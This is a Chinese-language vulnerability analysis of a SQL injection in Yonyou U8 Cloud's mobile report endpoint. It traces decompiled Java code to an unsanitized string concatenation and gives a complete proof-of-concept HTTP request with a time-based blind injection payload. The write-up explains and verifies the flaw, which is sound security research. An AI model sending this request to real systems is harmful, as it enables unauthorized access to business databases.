前言
好久没写漏洞分析文章了,这里就拿一个没有完全公开的用友U8 Cloud漏洞分析来展开话题吧
漏洞全称是:用友 U8cloud所有版本移动报表mobilereport接口存在SQL注入漏洞
最早出现在23年的9月份,当时CNVD接收到报告,获知漏洞信息:
CNVD-C-2023-655149用友u8 cloud存在SQL注入漏洞,攻击者未经授权可以访问数据库中的数据。具体漏洞细节没有公开,需要自己对照源码进行分析。
漏洞分析
开门见山,该SQL注入漏洞利用的POC如下,这里就简单说下用友U8 Cloud的请求/servlet
前缀的都经过NCInvokerServlet处理的,方法主要功能是获得url路径后,如果是以/~
开头,截取第一部分为moduleName
,然后再截取第二部分为serviceName
,再根据getServiceObject(moduleName, serviceName)
实现任意Servlet的调用,所以这里才能调用到对应方法
POST /servlet/~iufo/nc.itf.iufo.mobilereport.data.ReportDetailDataQuery HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Content-Type: application/json Accept-Encoding: gzip Connection: close {"reportid":"';WAITFOR DELAY '0:0:5'--"}
咱们来分析下,定位到方法ReportDetailDataQuery
主要代码如下,doAction方法直接接收请求执行
public void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String usercode = request.getParameter("usercode"); usercode = "18701014496"; String formPK = request.getParameter("reportid"); String accJson = HttpRequestUtil.acceptJSON(request); Gson gson = new Gson(); Map requestMap = (Map)gson.fromJson(accJson, Map.class); formPK = (String)requestMap.get("reportid"); IReportDataQuery dataQuery = (IReportDataQuery)NCLocator.getInstance().lookup(IReportDataQuery.class); Map<String, Object> rettotalMap = new HashMap<>(); try { rettotalMap.put("success", Boolean.valueOf(true)); rettotalMap.put("message", "); ReportDataVO datavo = dataQuery.queryVO(formPK); Map<String, Object> retMap = getRetObj(datavo); rettotalMap.put("data", retMap); } catch (BusinessException e) { AppDebug.debug((Throwable)e); e.printStackTrace(); rettotalMap.put("success", Boolean.valueOf(false)); rettotalMap.put("message", e.getMessage()); } String retjson = gson.toJson(rettotalMap); response.setContentType("text/html;charset=utf-8"); response.getWriter().print(retjson); response.flushBuffer(); response.getWriter().close(); }
接收请求后,指定usercode为18701014496,指定reportid为用户传参的值
追踪reportid传参,传入下面方法中,咱们继续追踪
dataQuery.queryVO(formPK)
来到方法queryVO中,代码如下
public class ReportDataQueryImpl implements IReportDataQuery { public ReportDataVO queryVO(String formid) throws BusinessException { IMobileQueryService formService = (IMobileQueryService)NCLocator.getInstance().lookup(IMobileQueryService.class); ReportFormVO parentvo = formService.queryVOByPk(formid); IReportMeasureService measureService = (IReportMeasureService)NCLocator.getInstance().lookup(IReportMeasureService.class); ReportMeasureVO[] measureVOs = measureService.queryMeasureVOs(formid); ReportDataVO dataVO = new ReportDataVO(); dataVO.setParentVO(parentvo); dataVO.setChildVOs(measureVOs); return dataVO; }
此处reportid当作formid传参,又传入了对应的queryVOByPk的方法当中
来到queryVOByPk方法,咱们可以看到原来参数是直接拼接到SQL语句当中
关键代码为
String sql = " reportformid = '" + reportformid + "'";
因此这里可以直接闭合reportformid参数,使用';闭合完成,执行其他的SQL语句
poc就为
';WAITFOR DELAY '0:0:5'--
通过参数reportid进行传参,咱们来验证下
请求成功,延时5秒验证存在漏洞
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)